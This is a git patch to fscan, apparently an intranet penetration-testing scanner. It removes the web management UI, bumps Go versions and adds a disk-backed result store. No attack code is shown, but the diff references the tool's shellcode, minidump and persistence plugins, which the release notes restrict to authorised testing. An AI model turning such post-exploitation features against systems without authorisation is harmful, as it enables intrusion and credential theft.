From 78101df57b456891b38153f7ca9e18a79104ef2f Mon Sep 17 00:00:00 2001 From: CO0KlE1 <173026624+CO0KlE1@users.noreply.github.com> Date: Fri, 10 Jul 2026 14:01:48 +0800 Subject: [PATCH 1/6] harden long-running scans and simplify CLI output --- .github/actions/build-release/action.yml | 2 +- .github/conf/.goreleaser.yml | 36 +- .github/release-notes/v2.2.0-rc.md | 2 - .github/workflows/release.yml | 2 +- .github/workflows/test-build.yml | 6 +- .gitignore | 6 - Makefile | 22 +- README.md | 4 - README_EN.md | 4 - common/config_builder.go | 2 + common/flag.go | 9 +- common/flag_config.go | 21 +- common/flag_web.go | 9 - common/flag_web_stub.go | 9 - common/i18n/locales/en.yaml | 13 +- common/i18n/locales/zh.yaml | 13 +- common/output/buffer.go | 25 +- common/output/disk_store.go | 308 + common/output/disk_store_test.go | 166 + common/output/writers.go | 456 +- common/output/writers_test.go | 48 + common/output_api.go | 2 +- common/output_filename.go | 137 + common/output_filename_test.go | 97 + common/session.go | 49 +- common/session_test.go | 8 + core/adaptive_pool.go | 33 +- core/adaptive_pool_test.go | 27 + core/icmp.go | 155 +- core/icmp_test.go | 13 + core/network_profiler.go | 10 +- core/port_scan.go | 82 +- core/port_scan_test.go | 12 +- core/scanner.go | 104 +- core/scanner_test.go | 23 + core/service_scanner.go | 26 +- core/web_scanner.go | 14 +- go.mod | 25 +- go.sum | 73 +- main_cli.go | 2 - main_web.go | 33 - pkg/fscan/controller.go | 9 +- plugins/local/cleaner_windows.go | 51 +- plugins/local/minidump.go | 6 +- plugins/web/webtitle.go | 48 +- web-ui/.gitignore | 24 - web-ui/README.md | 73 - web-ui/eslint.config.js | 23 - web-ui/index.html | 13 - web-ui/package-lock.json | 5946 -------------------- web-ui/package.json | 56 - web-ui/postcss.config.js | 6 - web-ui/public/vite.svg | 1 - web-ui/src/App.tsx | 144 - web-ui/src/components/LiveFeed.tsx | 100 - web-ui/src/components/ResultsChart.tsx | 130 - web-ui/src/components/ScanForm.tsx | 305 - web-ui/src/components/StatsPanel.tsx | 144 - web-ui/src/components/ui/alert-dialog.tsx | 138 - web-ui/src/components/ui/alert.tsx | 62 - web-ui/src/components/ui/badge.tsx | 39 - web-ui/src/components/ui/button.tsx | 55 - web-ui/src/components/ui/card.tsx | 78 - web-ui/src/components/ui/chart.tsx | 222 - web-ui/src/components/ui/collapsible.tsx | 9 - web-ui/src/components/ui/dropdown-menu.tsx | 197 - web-ui/src/components/ui/empty-state.tsx | 44 - web-ui/src/components/ui/input.tsx | 24 - web-ui/src/components/ui/label.tsx | 23 - web-ui/src/components/ui/progress.tsx | 25 - web-ui/src/components/ui/scroll-area.tsx | 45 - web-ui/src/components/ui/select.tsx | 156 - web-ui/src/components/ui/separator.tsx | 28 - web-ui/src/components/ui/skeleton.tsx | 15 - web-ui/src/components/ui/switch.tsx | 26 - web-ui/src/components/ui/tabs.tsx | 52 - web-ui/src/components/ui/tooltip.tsx | 29 - web-ui/src/contexts/LiveFeedContext.tsx | 167 - web-ui/src/hooks/useWebSocket.ts | 100 - web-ui/src/i18n/index.ts | 236 - web-ui/src/index.css | 257 - web-ui/src/lib/api.ts | 141 - web-ui/src/lib/utils.ts | 6 - web-ui/src/main.tsx | 10 - web-ui/src/pages/ResultsPage.tsx | 299 - web-ui/src/pages/ScanPage.tsx | 119 - web-ui/tailwind.config.js | 66 - web-ui/tsconfig.app.json | 32 - web-ui/tsconfig.json | 7 - web-ui/tsconfig.node.json | 26 - web-ui/vite.config.ts | 25 - web/api/config.go | 138 - web/api/project.go | 293 - web/api/result.go | 592 -- web/api/result_test.go | 74 - web/api/router.go | 55 - web/api/router_stub.go | 14 - web/api/scan.go | 323 -- web/dist/assets/index-5JoZok-U.js | 96 - web/dist/assets/index-CTrwF18n.css | 1 - web/dist/index.html | 14 - web/dist/vite.svg | 1 - web/server.go | 125 - web/server_stub.go | 13 - web/ws/hub.go | 215 - web/ws/hub_stub.go | 11 - webscan/lib/Client.go | 87 +- webscan/lib/Eval.go | 183 +- webscan/lib/client_test.go | 42 + webscan/lib/poc_executor.go | 67 +- webscan/lib/poc_precompile.go | 210 + webscan/lib/poc_precompile_test.go | 134 + webscan/web_scan.go | 9 +- webscan/web_scan_test.go | 18 + 114 files changed, 2320 insertions(+), 12320 deletions(-) delete mode 100644 common/flag_web.go delete mode 100644 common/flag_web_stub.go create mode 100644 common/output/disk_store.go create mode 100644 common/output/disk_store_test.go create mode 100644 common/output_filename.go create mode 100644 common/output_filename_test.go delete mode 100644 main_web.go delete mode 100644 web-ui/.gitignore delete mode 100644 web-ui/README.md delete mode 100644 web-ui/eslint.config.js delete mode 100644 web-ui/index.html delete mode 100644 web-ui/package-lock.json delete mode 100644 web-ui/package.json delete mode 100644 web-ui/postcss.config.js delete mode 100644 web-ui/public/vite.svg delete mode 100644 web-ui/src/App.tsx delete mode 100644 web-ui/src/components/LiveFeed.tsx delete mode 100644 web-ui/src/components/ResultsChart.tsx delete mode 100644 web-ui/src/components/ScanForm.tsx delete mode 100644 web-ui/src/components/StatsPanel.tsx delete mode 100644 web-ui/src/components/ui/alert-dialog.tsx delete mode 100644 web-ui/src/components/ui/alert.tsx delete mode 100644 web-ui/src/components/ui/badge.tsx delete mode 100644 web-ui/src/components/ui/button.tsx delete mode 100644 web-ui/src/components/ui/card.tsx delete mode 100644 web-ui/src/components/ui/chart.tsx delete mode 100644 web-ui/src/components/ui/collapsible.tsx delete mode 100644 web-ui/src/components/ui/dropdown-menu.tsx delete mode 100644 web-ui/src/components/ui/empty-state.tsx delete mode 100644 web-ui/src/components/ui/input.tsx delete mode 100644 web-ui/src/components/ui/label.tsx delete mode 100644 web-ui/src/components/ui/progress.tsx delete mode 100644 web-ui/src/components/ui/scroll-area.tsx delete mode 100644 web-ui/src/components/ui/select.tsx delete mode 100644 web-ui/src/components/ui/separator.tsx delete mode 100644 web-ui/src/components/ui/skeleton.tsx delete mode 100644 web-ui/src/components/ui/switch.tsx delete mode 100644 web-ui/src/components/ui/tabs.tsx delete mode 100644 web-ui/src/components/ui/tooltip.tsx delete mode 100644 web-ui/src/contexts/LiveFeedContext.tsx delete mode 100644 web-ui/src/hooks/useWebSocket.ts delete mode 100644 web-ui/src/i18n/index.ts delete mode 100644 web-ui/src/index.css delete mode 100644 web-ui/src/lib/api.ts delete mode 100644 web-ui/src/lib/utils.ts delete mode 100644 web-ui/src/main.tsx delete mode 100644 web-ui/src/pages/ResultsPage.tsx delete mode 100644 web-ui/src/pages/ScanPage.tsx delete mode 100644 web-ui/tailwind.config.js delete mode 100644 web-ui/tsconfig.app.json delete mode 100644 web-ui/tsconfig.json delete mode 100644 web-ui/tsconfig.node.json delete mode 100644 web-ui/vite.config.ts delete mode 100644 web/api/config.go delete mode 100644 web/api/project.go delete mode 100644 web/api/result.go delete mode 100644 web/api/result_test.go delete mode 100644 web/api/router.go delete mode 100644 web/api/router_stub.go delete mode 100644 web/api/scan.go delete mode 100644 web/dist/assets/index-5JoZok-U.js delete mode 100644 web/dist/assets/index-CTrwF18n.css delete mode 100644 web/dist/index.html delete mode 100644 web/dist/vite.svg delete mode 100644 web/server.go delete mode 100644 web/server_stub.go delete mode 100644 web/ws/hub.go delete mode 100644 web/ws/hub_stub.go create mode 100644 webscan/lib/poc_precompile.go create mode 100644 webscan/lib/poc_precompile_test.go diff --git a/.github/actions/build-release/action.yml b/.github/actions/build-release/action.yml index 2fc65024..5a8753fa 100644 --- a/.github/actions/build-release/action.yml +++ b/.github/actions/build-release/action.yml @@ -9,7 +9,7 @@ inputs: go-version: description: 'Go 版本' required: false - default: '1.20' + default: '1.25.12' retention-days: description: '产物保留天数' required: false diff --git a/.github/conf/.goreleaser.yml b/.github/conf/.goreleaser.yml index 426b6d76..1ebfa56b 100644 --- a/.github/conf/.goreleaser.yml +++ b/.github/conf/.goreleaser.yml @@ -115,27 +115,8 @@ builds: ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }} mod_timestamp: "{{ .CommitTimestamp }}" - # WebUI版 - 主流平台即可 - - id: fscan-web - binary: fscan - main: . - env: - - CGO_ENABLED=0 - goos: [windows, linux, darwin] - goarch: [amd64, arm64, "386"] - goarm: ["7"] - ignore: - - goos: darwin - goarch: "386" - - goos: windows - goarch: arm64 - flags: [-trimpath] - tags: [web] - ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }} - mod_timestamp: "{{ .CommitTimestamp }}" - upx: - - ids: [fscan, fscan-nolocal, fscan-web] + - ids: [fscan, fscan-nolocal] enabled: true goos: [windows, linux] goarch: [amd64, "386", arm64] @@ -172,20 +153,6 @@ archives: {{- else }}{{ .Arch }}{{ end }} {{- if .Arm }}v{{ .Arm }}{{ end }} - # WebUI版归档 - - id: fscan-web - ids: [fscan-web] - formats: [binary] - allow_different_binary_count: true - name_template: >- - fscan-web_{{ .Version }}_ - {{- if eq .Os "darwin" }}mac - {{- else }}{{ .Os }}{{ end }}_ - {{- if eq .Arch "amd64" }}x64 - {{- else if eq .Arch "386" }}x32 - {{- else }}{{ .Arch }}{{ end }} - {{- if .Arm }}v{{ .Arm }}{{ end }} - checksum: name_template: 'checksums.txt' algorithm: sha256 @@ -225,7 +192,6 @@ release: |------|------| | **fscan** | 标准版,包含全部插件(推荐) | | **fscan-nolocal** | 精简版,不含本地模块(体积更小) | - | **fscan-web** | WebUI版,带Web管理界面(主流平台) | ### 平台支持 diff --git a/.github/release-notes/v2.2.0-rc.md b/.github/release-notes/v2.2.0-rc.md index 269b7ad7..33c3e7dd 100644 --- a/.github/release-notes/v2.2.0-rc.md +++ b/.github/release-notes/v2.2.0-rc.md @@ -71,7 +71,6 @@ | SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) | | CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) | | 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 | -| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 | | `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 | --- @@ -93,7 +92,6 @@ |------|------| | **fscan** | 标准版,包含全部插件(推荐) | | **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) | -| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) | ## 平台支持 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index cc149e29..56eb2a9f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -129,7 +129,7 @@ jobs: uses: ./.github/actions/build-release with: mode: ${{ inputs.snapshot && 'snapshot' || 'release' }} - go-version: '1.25' + go-version: '1.25.12' retention-days: '90' release-args: ${{ inputs.draft && '--draft' || '' }} diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index 578928bf..5aa329c8 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -54,7 +54,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.25' + go-version: '1.25.12' cache: true - name: 运行 golangci-lint @@ -114,7 +114,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.25' + go-version: '1.25.12' cache: true - name: 下载依赖 @@ -181,7 +181,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.25' + go-version: '1.25.12' cache: true - name: 构建验证 diff --git a/.gitignore b/.gitignore index 9ef7e6c2..ec294444 100644 --- a/.gitignore +++ b/.gitignore @@ -59,14 +59,8 @@ bin/ *.so *.dylib /fscan_cli -/fscan_web /embed-agent -# Web UI build / Web前端构建 -web-ui/node_modules/ -web-ui/dist/ -!web/dist/ - # Go specific / Go 相关 vendor/ *.test diff --git a/Makefile b/Makefile index db0512ed..e7661437 100644 --- a/Makefile +++ b/Makefile @@ -1,7 +1,7 @@ # fscan Makefile # 提供统一的构建、测试、检查命令 -.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test +.PHONY: help test test-cover build build-debug build-race lint lint-fix clean ci deps install-tools stress-test # 默认目标 .DEFAULT_GOAL := help @@ -59,26 +59,6 @@ build: $(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) . @echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)" -## build-web: 构建带Web UI的版本(需要先构建前端) -build-web: build-ui - @echo "$(BLUE)构建Web版本...$(NC)" - $(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web . - @echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)" - @echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)" - -## build-ui: 构建前端(需要Node.js和npm) -build-ui: - @echo "$(BLUE)构建前端...$(NC)" - @if [ ! -d "web-ui" ]; then \ - echo "$(RED)错误: web-ui 目录不存在$(NC)"; \ - echo "请先创建前端项目"; \ - exit 1; \ - fi - @cd web-ui && npm install && npm run build - @rm -rf web/dist - @cp -r web-ui/dist web/dist - @echo "$(GREEN)✓ 前端构建完成$(NC)" - ## build-debug: 构建调试版本(带 pprof) build-debug: @echo "$(BLUE)构建调试版本(带 pprof)...$(NC)" diff --git a/README.md b/README.md index 64ad4615..7ce2b36c 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,6 @@ ### 扩展功能 - **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯 -- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web) - **Lab靶场环境** - 内置Docker靶场用于测试学习 - **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展 - **多语言支持** - 中英文界面切换(-lang zh/en) @@ -86,7 +85,6 @@ - **并发安全优化** - 优化锁粒度和内存分配 ### 新功能 -- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示 - **多格式POC适配** - 支持xray和afrog格式POC - **智能扫描模式** - 布隆过滤器去重+代理优化 - **增强指纹库** - 集成FingerprintHub(3139条指纹) @@ -188,8 +186,6 @@ # 标准编译 go build -ldflags="-s -w" -trimpath -o fscan . -# 带Web管理界面 -go build -tags web -ldflags="-s -w" -trimpath -o fscan-web . ``` ## 安装 diff --git a/README_EN.md b/README_EN.md index cbb55aab..d2ecd7c9 100644 --- a/README_EN.md +++ b/README_EN.md @@ -52,7 +52,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. - **Concurrency** - Port scan threads, service scan threads independent config ### Extensions -- **Web Management UI** - Visual scan task management (build with -tags web) - **Lab Environment** - Built-in Docker lab for testing and learning - **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend - **Multi-language** - Chinese/English interface (-lang zh/en) @@ -85,7 +84,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. - **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation ### New Features -- **Web Management UI** - Visual scan task management with responsive layout and progress display - **Multi-format POC Adapter** - Support for xray and afrog format POCs - **Smart Scan Mode** - Bloom filter deduplication + proxy optimization - **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints) @@ -187,8 +185,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. # Standard build go build -ldflags="-s -w" -trimpath -o fscan . -# With Web UI -go build -tags web -ldflags="-s -w" -trimpath -o fscan-web . ``` ## Install diff --git a/common/config_builder.go b/common/config_builder.go index 14559c74..fea1e4bc 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -22,6 +22,8 @@ config_builder.go - 统一配置构建入口 // BuildConfig 从 FlagVars 构建完整的 Config 和 State // 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables() func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) { + resolveDefaultOutputFile(fv, info) + // 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags) cfg := BuildConfigFromFlags(fv) diff --git a/common/flag.go b/common/flag.go index 85ef4fa9..0efcf6e8 100644 --- a/common/flag.go +++ b/common/flag.go @@ -181,7 +181,7 @@ func Flag(Info *HostInfo) error { // ═════════════════════════════════════════════════ // 输出与显示控制参数 // ═════════════════════════════════════════════════ - flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file")) + flag.StringVar(&fv.Outputfile, "o", "", i18n.GetText("flag_output_file")) flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format")) flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save")) flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode")) @@ -232,6 +232,8 @@ func Flag(Info *HostInfo) error { fv.ICMPRateExplicit = true case "num": fv.PocNumExplicit = true + case "o": + fv.OutputFileExplicit = true } }) @@ -348,11 +350,6 @@ func preProcessLanguage() { // shouldShowHelp 检查是否应该显示帮助信息 func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool { - // Web模式不需要目标参数 - if WebMode { - return false - } - // 检查是否提供了扫描目标 hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != "" diff --git a/common/flag_config.go b/common/flag_config.go index 160e3dfe..171904e9 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -98,16 +98,17 @@ type FlagVars struct { ICMPRateExplicit bool // 输出控制 - Outputfile string - OutputFormat string - DisableSave bool - Silent bool - NoColor bool - LogLevel string - Debug bool - DisableProgress bool - PerfStats bool - Language string + Outputfile string + OutputFileExplicit bool + OutputFormat string + DisableSave bool + Silent bool + NoColor bool + LogLevel string + Debug bool + DisableProgress bool + PerfStats bool + Language string // 高级功能 Shellcode string diff --git a/common/flag_web.go b/common/flag_web.go deleted file mode 100644 index 813910ee..00000000 --- a/common/flag_web.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build web - -package common - -// WebMode Web版本始终为true -const WebMode = true - -// WebPort 不再使用,端口由 main_web.go 的 -port 参数控制 -var WebPort = 0 diff --git a/common/flag_web_stub.go b/common/flag_web_stub.go deleted file mode 100644 index 968664ce..00000000 --- a/common/flag_web_stub.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build !web - -package common - -// WebMode 非Web版本永远为false -var WebMode = false - -// WebPort 非Web版本不使用 -var WebPort = 0 diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index 7e7d2acb..c6855ee0 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -117,7 +117,7 @@ flag_max_packet_count: flag_icmp_rate: other: "ICMP packet rate (ratio to max rate, default 0.1, ~1463 pps)" flag_output_file: - other: "Output file" + other: "Output file (defaults to the first target)" flag_output_format: other: "Output format: txt, json, csv" flag_disable_save: @@ -154,10 +154,6 @@ flag_language: other: "Language: zh, en" flag_help: other: "Show help information" -flag_web_mode: - other: "Start Web management UI" -flag_web_port: - other: "Web server port" # ========================= Scan Mode Messages ========================= scan_mode_service_selected: other: "Service scan mode selected" @@ -1710,13 +1706,6 @@ redis_scan_success: rabbitmq_detected: other: "RabbitMQ {{.Arg1}} {{.Arg2}}" -# ========================= Web UI Messages ========================= -web_server_started: - other: "Web server started on port: {{.Arg1}}" -web_shutting_down: - other: "Web server shutting down..." -web_mode_not_supported: - other: "Web mode not supported in this build, rebuild with: go build -tags web" # ========================= Debug Messages ========================= debug_create_profiles_failed: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 9e40f413..3fdd620a 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -117,7 +117,7 @@ flag_max_packet_count: flag_icmp_rate: other: "ICMP发包速率 (相对于最大速率的比例,默认0.1,约1463 pps)" flag_output_file: - other: "输出文件" + other: "输出文件(默认按第一个目标自动命名)" flag_output_format: other: "输出格式: txt, json, csv" flag_disable_save: @@ -154,10 +154,6 @@ flag_language: other: "语言: zh, en" flag_help: other: "显示帮助信息" -flag_web_mode: - other: "启动Web管理界面" -flag_web_port: - other: "Web服务器端口" # ========================= 扫描模式消息 ========================= scan_mode_service_selected: other: "已选择服务扫描模式" @@ -1707,13 +1703,6 @@ redis_scan_success: rabbitmq_detected: other: "RabbitMQ {{.Arg1}} {{.Arg2}}" -# ========================= Web UI消息 ========================= -web_server_started: - other: "Web服务器已启动,端口: {{.Arg1}}" -web_shutting_down: - other: "Web服务器正在关闭..." -web_mode_not_supported: - other: "当前版本不支持Web模式,请使用 -tags web 重新编译" # ========================= Debug消息 ========================= debug_create_profiles_failed: diff --git a/common/output/buffer.go b/common/output/buffer.go index 450e4c30..6c3d1fa7 100644 --- a/common/output/buffer.go +++ b/common/output/buffer.go @@ -38,7 +38,7 @@ func (b *ResultBuffer) Add(result *ScanResult) { return } - key := b.generateKey(result) + key := resultKey(result) switch result.Type { case TypeHost: @@ -56,9 +56,9 @@ func (b *ResultBuffer) Add(result *ScanResult) { b.seenServices[key] = len(b.ServiceResults) b.ServiceResults = append(b.ServiceResults, result) } else { - b.mergeDetails(b.ServiceResults[idx], result) + mergeResultDetails(b.ServiceResults[idx], result) // 保留信息更完整的记录,同时保留另一条记录补充的字段 - if b.isMoreComplete(result, b.ServiceResults[idx]) { + if resultCompleteness(result) > resultCompleteness(b.ServiceResults[idx]) { b.ServiceResults[idx] = result } } @@ -70,7 +70,7 @@ func (b *ResultBuffer) Add(result *ScanResult) { } } -func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) { +func mergeResultDetails(oldResult, newResult *ScanResult) { if oldResult == nil || newResult == nil { return } @@ -92,8 +92,10 @@ func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) { } } -// generateKey 生成结果的唯一键(用于去重) -func (b *ResultBuffer) generateKey(result *ScanResult) string { +func resultKey(result *ScanResult) string { + if result == nil { + return "" + } switch result.Type { case TypeHost: return result.Target @@ -113,15 +115,14 @@ func (b *ResultBuffer) generateKey(result *ScanResult) string { } } -// isMoreComplete 判断新记录是否比旧记录信息更完整 -func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool { - return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult) -} - // CalculateCompleteness 计算记录的信息完整度 func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int { + return resultCompleteness(result) +} + +func resultCompleteness(result *ScanResult) int { score := 0 - if result.Details == nil { + if result == nil || result.Details == nil { return score } diff --git a/common/output/disk_store.go b/common/output/disk_store.go new file mode 100644 index 00000000..62df9c7f --- /dev/null +++ b/common/output/disk_store.go @@ -0,0 +1,308 @@ +package output + +import ( + "encoding/binary" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sync" + "time" + + bolt "go.etcd.io/bbolt" +) + +var storedResultTypes = [...]ResultType{TypeHost, TypePort, TypeService, TypeVuln} + +type diskResultStore struct { + mu sync.Mutex + db *bolt.DB + writeTx *bolt.Tx + path string + closed bool + pendingSync int + lastSync time.Time +} + +func newDiskResultStore(outputPath string) (*diskResultStore, error) { + dir := filepath.Dir(outputPath) + base := filepath.Base(outputPath) + temp, err := os.CreateTemp(dir, "."+base+".store-*.tmp") + if err != nil { + return nil, fmt.Errorf("create result store: %w", err) + } + path := temp.Name() + if err := temp.Close(); err != nil { + _ = os.Remove(path) + return nil, fmt.Errorf("close result store placeholder: %w", err) + } + + db, err := bolt.Open(path, 0600, &bolt.Options{ + Timeout: time.Second, + NoSync: true, + FreelistType: bolt.FreelistMapType, + }) + if err != nil { + _ = os.Remove(path) + return nil, fmt.Errorf("open result store: %w", err) + } + + store := &diskResultStore{db: db, path: path, lastSync: time.Now()} + if err := db.Update(func(tx *bolt.Tx) error { + for _, resultType := range storedResultTypes { + if _, err := tx.CreateBucketIfNotExists(recordsBucketName(resultType)); err != nil { + return err + } + if _, err := tx.CreateBucketIfNotExists(seenBucketName(resultType)); err != nil { + return err + } + } + return nil + }); err != nil { + _ = db.Close() + _ = os.Remove(path) + return nil, fmt.Errorf("initialize result store: %w", err) + } + if err := db.Sync(); err != nil { + _ = db.Close() + _ = os.Remove(path) + return nil, fmt.Errorf("sync result store schema: %w", err) + } + return store, nil +} + +func recordsBucketName(resultType ResultType) []byte { + return []byte("records:" + string(resultType)) +} + +func seenBucketName(resultType ResultType) []byte { + return []byte("seen:" + string(resultType)) +} + +func isStoredResultType(resultType ResultType) bool { + switch resultType { + case TypeHost, TypePort, TypeService, TypeVuln: + return true + default: + return false + } +} + +func sequenceKey(sequence uint64) []byte { + key := make([]byte, 8) + binary.BigEndian.PutUint64(key, sequence) + return key +} + +func (s *diskResultStore) Add(result *ScanResult) error { + if result == nil { + return fmt.Errorf("result cannot be nil") + } + if !isStoredResultType(result.Type) { + return nil + } + + encoded, err := json.Marshal(result) + if err != nil { + return fmt.Errorf("encode result: %w", err) + } + + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return fmt.Errorf("result store is closed") + } + + if s.writeTx == nil { + s.writeTx, err = s.db.Begin(true) + if err != nil { + return fmt.Errorf("begin result store transaction: %w", err) + } + } + changed := false + err = func(tx *bolt.Tx) error { + records := tx.Bucket(recordsBucketName(result.Type)) + seen := tx.Bucket(seenBucketName(result.Type)) + if records == nil || seen == nil { + return fmt.Errorf("result store bucket is missing for %s", result.Type) + } + + key := append([]byte{1}, []byte(resultKey(result))...) + if existingSequence := seen.Get(key); existingSequence != nil { + if result.Type != TypeService { + return nil + } + existingData := records.Get(existingSequence) + if existingData == nil { + return fmt.Errorf("service index points to a missing record") + } + var existing, incoming ScanResult + if err := json.Unmarshal(existingData, &existing); err != nil { + return fmt.Errorf("decode stored service: %w", err) + } + if err := json.Unmarshal(encoded, &incoming); err != nil { + return fmt.Errorf("decode incoming service: %w", err) + } + mergeResultDetails(&existing, &incoming) + selected := &existing + if resultCompleteness(&incoming) > resultCompleteness(&existing) { + selected = &incoming + } + merged, err := json.Marshal(selected) + if err != nil { + return fmt.Errorf("encode merged service: %w", err) + } + changed = true + return records.Put(existingSequence, merged) + } + + sequence, err := records.NextSequence() + if err != nil { + return err + } + sequenceBytes := sequenceKey(sequence) + if err := records.Put(sequenceBytes, encoded); err != nil { + return err + } + if err := seen.Put(key, sequenceBytes); err != nil { + return err + } + changed = true + return nil + }(s.writeTx) + if err != nil { + _ = s.writeTx.Rollback() + s.writeTx = nil + return fmt.Errorf("store result: %w", err) + } + if !changed { + if s.pendingSync > 0 && time.Since(s.lastSync) >= realtimeSyncInterval { + return s.flushLocked(true) + } + return nil + } + s.pendingSync++ + if s.pendingSync >= realtimeSyncBatchSize || time.Since(s.lastSync) >= realtimeSyncInterval { + return s.flushLocked(true) + } + return nil +} + +func (s *diskResultStore) ForEach(resultType ResultType, fn func(*ScanResult) error) error { + if fn == nil { + return fmt.Errorf("result callback cannot be nil") + } + if !isStoredResultType(resultType) { + return nil + } + + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return fmt.Errorf("result store is closed") + } + if err := s.flushLocked(false); err != nil { + return err + } + + return s.db.View(func(tx *bolt.Tx) error { + records := tx.Bucket(recordsBucketName(resultType)) + if records == nil { + return nil + } + return records.ForEach(func(_, value []byte) error { + var result ScanResult + if err := json.Unmarshal(value, &result); err != nil { + return fmt.Errorf("decode %s result: %w", resultType, err) + } + return fn(&result) + }) + }) +} + +func (s *diskResultStore) Summary() (hosts, ports, services, vulns int, err error) { + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return 0, 0, 0, 0, fmt.Errorf("result store is closed") + } + if err := s.flushLocked(false); err != nil { + return 0, 0, 0, 0, err + } + + counts := make(map[ResultType]int, len(storedResultTypes)) + err = s.db.View(func(tx *bolt.Tx) error { + for _, resultType := range storedResultTypes { + bucket := tx.Bucket(recordsBucketName(resultType)) + if bucket != nil { + counts[resultType] = bucket.Stats().KeyN + } + } + return nil + }) + return counts[TypeHost], counts[TypePort], counts[TypeService], counts[TypeVuln], err +} + +func (s *diskResultStore) Sync() error { + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return nil + } + return s.flushLocked(true) +} + +func (s *diskResultStore) flushLocked(syncToDisk bool) error { + if s.writeTx != nil { + if err := s.writeTx.Commit(); err != nil { + s.writeTx = nil + return fmt.Errorf("commit result store: %w", err) + } + s.writeTx = nil + } + if syncToDisk { + if err := s.db.Sync(); err != nil { + return fmt.Errorf("sync result store: %w", err) + } + s.pendingSync = 0 + s.lastSync = time.Now() + } + return nil +} + +func (s *diskResultStore) Close() error { + s.mu.Lock() + defer s.mu.Unlock() + if s.closed { + return nil + } + var firstErr error + if s.db != nil { + if err := s.flushLocked(true); err != nil { + firstErr = err + } + if err := s.db.Close(); err != nil && firstErr == nil { + firstErr = err + } + } + s.closed = true + return firstErr +} + +func (s *diskResultStore) Remove() error { + if s == nil || s.path == "" { + return nil + } + if err := os.Remove(s.path); err != nil && !errors.Is(err, os.ErrNotExist) { + return err + } + return nil +} + +func (s *diskResultStore) Path() string { + if s == nil { + return "" + } + return s.path +} diff --git a/common/output/disk_store_test.go b/common/output/disk_store_test.go new file mode 100644 index 00000000..1b595610 --- /dev/null +++ b/common/output/disk_store_test.go @@ -0,0 +1,166 @@ +package output + +import ( + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + "testing" + "time" +) + +func TestDiskResultStoreDeduplicatesAndMerges(t *testing.T) { + store, err := newDiskResultStore(filepath.Join(t.TempDir(), "results.json")) + if err != nil { + 